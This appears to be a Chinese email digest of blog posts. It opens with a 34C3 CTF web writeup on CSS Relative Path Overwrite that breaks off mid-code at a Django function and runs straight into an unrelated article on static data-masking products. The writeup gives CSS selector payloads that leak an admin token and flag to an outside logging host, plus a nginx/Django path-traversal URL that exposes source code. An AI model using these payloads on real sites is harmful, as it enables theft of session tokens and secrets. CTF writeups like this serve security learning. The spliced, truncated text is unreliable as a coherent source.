2018年1月2日星期二

34c3 Web部分Writeup

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订
34c3 Web部分Writeup  阅读原文»

34c3作为ctftime很少见的高权重比赛仍然没让人失望,提供了足够好的题目质量,其中有3题是和xss有关系的,很有趣

这里整理了一下Writeup给大家

urlstorage

初做这题目的时候感觉又很多问题,本以为最后使用的方法是正解,没想到的是非预期做法,忽略了题目本身的思路,抛开非预期不管,题目本身是一道非常不错的题目,用了css rpo来获取页面的敏感内容。

CSS RPO

首先我们需要先解释一下什么是CSS RPO,RPO 全称Relative Path Overwrite,主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

先放几篇文章
http://www.thespanner.co.uk/2014/03/21/rpo/
http://www.zjicmisa.org/index.php/archives/127/

这里就不专门讲述RPO的种种攻击方式,这里只讨论CSS RPO,让我们接着看看题目。

Writeup

回到题目。

整个题目站点是django写的,然后前台用nginx做了一层反代。
image.png-135.8kB

然后整站带有CSP

1
frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-src 'self';

站点内主要有几个功能,每次登陆都会生成独立的token,/urlstorage页面可以储存一个url链接,/flag页面会显示自己的token和flag(根据token生成)

仔细研究不难发现一些其他的条件。

1、flag页面只接受token的前64位,而token则是截取了token的前32位做了判断,在token后我们可以加入32位任意字符。
2、flag页面有title xss,只要闭合</title>就可以构造xss,虽然位数不足,我们没办法执行任何js。
3、urlstorage页面存在csrf,我们可以通过让服务端点击我们的链接来修改任意修改url

但是,很显然,这些条件其实并不够足以获取到服务端的flag。

但题目中永远不会出现无意义的信息,比如urlstorage页面,在刚才的讨论中,urlstorage页面中修改储存url的功能可以说毫无意义,这时候就要提到刚才说的RPO了。

首先整个站点是django写的,所有页面都是通过路由表实现的,所以无论我们在后面加入什么样的链接,返回页面都是和urlstorage一样的

1
2
3
http://35.198.114.228/urlstorage/random_str/1321321421
-->
http://35.198.114.228/urlstorage

看上去好像没什么问题,但是页面内的静态资源是通过相对路径引入的。

image.png-102.4kB

因为我们修改了根url,所以css的引入url变成了
image.png-158.8kB

我们把当前页面当做成css样式表引入到了页面内。

这里我们可以通过设置url来向页面中加入一些可以控制的页面内容。

这里涉及到一个小技巧:
CSS在加载的时候与JS一样是逐行解析的,不同的是CSS会忽略页面中不符合CSS语法的行

也就是说如果我们设置url为%0a{}%0a*{color:red}

那么页面内容会变成
image.png-37.6kB

当引入CSS逐行解析的时候,color:red就会被解析

image.png-65.4kB

通过设置可控的css,我们就可以使用一个非常特别的攻击思路。

我曾经在讲述CSP的博客中提到了这种攻击思路,通过CSS选择器来读取页面内容
https://lorexxar.cn/2017/10/25/csp-paper/#1、nonce-script-CSP-Bypass

1
2
3
4
a[href^=flag?token=0]{background: url(//l4w.io/rpo/logging.php?c=0);}
a[href^=flag?token=1]{background: url(//l4w.io/rpo/logging.php?c=1);}
..
a[href^=flag?token=f]{background: url(//l4w.io/rpo/logging.php?c=f);}

当匹配a标签的href属性中token开头符合的时候,就会自动向远程发送请求加载图片,服务端接收到请求,就代表着匹配成功了,这样的请求我们可以重复多次,就能获取到admin的token了。

这里有个小细节,服务端每次访问都会重新登陆一次,每次重新登陆都会刷新token,所以题目在contact页面还给出了一个脚本pow.py,通过这个脚本,服务端会有30s时间来访问我们的所有url,这样我们就有足够的时间拿到服务端的token。

但是问题来了,我们仍然没办法获取到flag页面的flag。

这里需要一个新的技巧。

在浏览器处理相对路径时,一般情况是获取当前url的最后一个/前作为base url,但是如果页面中给出了base标签,那么就会读取base标签中的url作为base url。

那么,既然flag页面的token参数,我们有24位可控,那么我们完全可以引入/urlstorage作为base标签,这样CSS仍然会加载urlstorage页面内容,我们就可以继续使用CSS RPO来获取页面内容。

这里还有个小坑

当我们试图使用下面的payload来获取flag时

1
#flag[value^=34C3]{background: url(https://xxx?34c3);}

字符串首位的3不会被识别为字符串,必须使用双引号包裹才能正常解析。但是双引号被转义了。

这里我们需要换用*

1
*号选择器代表这属性中包含这个字段,由于flag中有_存在,所以不会对flag的获取有影响

payload如下

1
2
3
4
#flag[value*=C3_1]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
#flag[value*=C3_0]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
..
#flag[value*=C3_f]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}

完全的payload我就不专门写了,理解题目的思路比较重要。

整个题目的利用链非常精巧,服务端bot比我想象中要强大很多,有趣的是,整个题目存在配置的非预期,我一度认为非预期解法是正解。

非预期

以前在pwnhub第二期中曾经接触到过一个知识点,django的静态资源路由(static)本身就是通过映射静态资源目录实现的,当django使用nginx做反代时,如果nginx配置出现问题,那么就有可能存在导致可以跨目录的读取文件,导致源码泄露。34c3的所有django的web题目都有这个漏洞。

当我们访问

1
http://35.198.114.228/static../views.py

就可以获取到源码,让我们锁定flag页面的源码

1
2
3
4
5
6
7
8
9
10
11
@login_required
def flag(req)静态数据脱敏产品技术路线分析  阅读原文»

随着信息技术的高速发展,各用户单位业务系统经过多年沉淀,积累了大量个人隐私数据和企业信息。海量数据除了内部流转,还需要进行外部"共享",这亦是国家大数据发展战略规划的需求和前提。如何保证数据在产生、交换、共享等场景下的安全可用?这让数据脱敏安全技术成为热门。

《网络安全法》的正式实施,数据脱敏被纳入法规遵从的需求。《网络安全法》要求:数据流动过程中应重视保护个人隐私、社保信息、资产信息、医疗信息等敏感信息的安全。为满足这一要求,数据共享时需要使用数据脱敏技术。特别是当数据应用于开发、测试、培训等环境时,安全风险较大,使用真实数据将临严重数据泄露的风险。

数据脱敏又称数据去隐私化或数据变形,是在给定的规则、策略下对敏感数据进行变换、修改的技术机制,能够在很大程度上解决敏感数据在不可控环境中使用的问题。国内银行、通信运营商等是最早开始使用数据脱敏工具的单位,多以静态脱敏为主。

市面上有诸多静态脱敏产品,如何做挑选?本文将从这些脱敏产品的技术路线进行分析,从使用效果出发,浅析各种技术在脱敏过程中使用效果上存在的差异,呈现产品真正能实现的功能和价值。希望能为广大用户在数据脱敏产品的选型上提供参考。

一、脱敏系统的数据获得方式

数据脱敏第一步,需要获得数据库中的数据。如何获得数据主要有以下几种方式:

1. 代理软件

使用代理软件,部署在数据库上从数据库读取数据。这种方式的脱敏产品对用户方来说是侵入式的,只有极少数产品才这样使用。市面上数据备份厂商的数据脱敏产品会采用这种方式,因为利用备份软件客户端作为数据脱敏的数据采集工具使用,速度较快。

2. 数据库开发接口

这种针对不同的数据库开发接口方式的有点在于数据采集速度较快,市面上大部分脱敏产品采用此种方式。这种采集方式的缺点也很明显,数据库类型太多,脱敏产品支持的数据库类型与版本都会受限制。如果用户将来升级了数据库版本,除非脱敏厂商也花精力开发升级版本,否则采购的脱敏产品可能无法继续支持。

3. ETL技术

这种采集技术的优势是兼容性大,ETL工具兼容的数据库类型是最全面的。当然这个方式也有弱点,由于不是专门针对特定数据库类型开发,在没有强大的ETL技术积累的情况下,采集数据的速度一般。从国外脱敏厂商来看,具备有一定ETL技术积累优势大多采用此种技术,如:Informatica 。而国内脱敏厂商中,大多数厂商主业并不是大数据处理,没有ETL工具的技术能力而很少采用。

二、数据落地与否

数据落地是指数据脱敏过程中,数据需要保存到脱敏系统后再进行脱敏。数据落地的好处是,获得了需要脱敏的全部数据后再脱敏,对数据关系、业务关联方面容易处理与实现。但问题是,数据落地需要脱敏系统也具有数据源同样大小的存储空间,对脱敏系统的存储要求较高,同时进行多业务数据源脱敏的情况下,还需要对接存储系统,不仅硬件成本高,还存在安全困扰。

数据脱敏从信息安全的职责分离的要求下出发,脱敏系统的管理者为安全管理员,将DBA接触敏感数据场景剥离出来,同时安全管理员不具有DBA权限也无法查看全部的敏感数据。但在数据落地的情况下,安全管理员可以从数据脱敏系统内获得全部敏感数据,这就违背了职责分离的初衷。

市面上大部分产品不会采用此种数据落地方式脱敏,只有少数由于没有ETL技术,也没有针对不同数据库开发接口,拥有备份技术积累的脱敏厂商会使用这种脱敏方式。

三、脱敏算法的复杂程度

脱敏系统需要解决的一个重要安全问题是算法的可逆性脱敏系统不像脚本处理作简单替换即可。以国内姓名字段的脱敏算法为例,用于姓名的主要脱敏技术主要有包括:

(1)直接将所有中文姓名,替换为固定姓名,如"张―"。这种算法简单,处理速度快,安全性差,处理结果单一,分布特征完全丧失。

(2)将原姓名每个中文字符的编码进行偏移随机长度,以生成另外一个中文字符。这种算法安性高,像真实姓名一样。速度也较快,处理后的数据结果有较强的真实性。

(3)准备一张常见中文名字的码表,存放100万左右的中文姓名,将原有姓名hash查表后进行替换。数据脱敏算法需要大量时间和空间开销,数据安全性一般,算法可逆程度不高。

(4)分析原始数据通过预处理建立频度码表的方式。这种方式需要先分析原始数据的特征,然后建立一个频度的分析报告,再建立不同字符的分布标准表格,脱敏算法依据频度对应的字符来替换。

在选择脱敏产品时,也应该关注数据脱敏算法,选择最为高效可用的。

四、脱敏系统的环境适应能力

市场上数据库种类多,服务器与系统种类也多,特别是一些不常用的系统与数据库,类似于小机环境下的数据库,部分客户还是IBM的Z系统的大型机等。

面对拥有不同类型的服务器与数据库的客户,市场上并不是所有脱敏系统全部兼容支持的。用户在选用这些脱敏系统时需要具有长远的发展眼光,将来可能会用到的数据库与系统,脱敏产品时是否需要全面支持。

另外,还需要考虑不同数据库之间的数据脱敏转换。(异构数据脱敏)可能会出现源数据库使用的是一种类型,而数据需求方使用的数据库是另一种类型,这时候的数据脱敏就需要兼容不同数据库之间的数据转换。

五、脱敏厂商的安全与数据库服务能力

数据脱敏系统毕竟不同于传统网络安全的硬件,需要对数据库具有较深入的理解,是信息安全与数据库DBA的结合领域。

一方面需要脱敏产品具有传统安全的理念,如实现数据脱敏的流程化、落实数据的职责分离。(如脱敏系统属于安全管理员维护的系统、而数据库维护属于DBA职责)。另一方面,系统应具有配套的流程管理系统,帮助安全管理员实现数据的脱敏。

由于安全管理员不具有DBA的知识背景,在很多脱敏项目中需要脱敏厂商帮助安全管理员来制定脱敏策略,实现数据安全脱敏。

六、快速响应客户的开发能力

数据脱敏系统国外产品进入国内已经多年,早期大数据用户使用时会明显感觉国外产品对国内用户使用带来的不便,需要将产品做一些修改调整时往往无法实现。

随着国内脱敏产品的日益完善,国外脱敏产品已正慢慢退出,国内产品可以按客户要求场景快速修改(二次开发能力),满足国内用户的使用要求。

七、脱敏解决方案的全面性

阅读更多内容

1 条评论: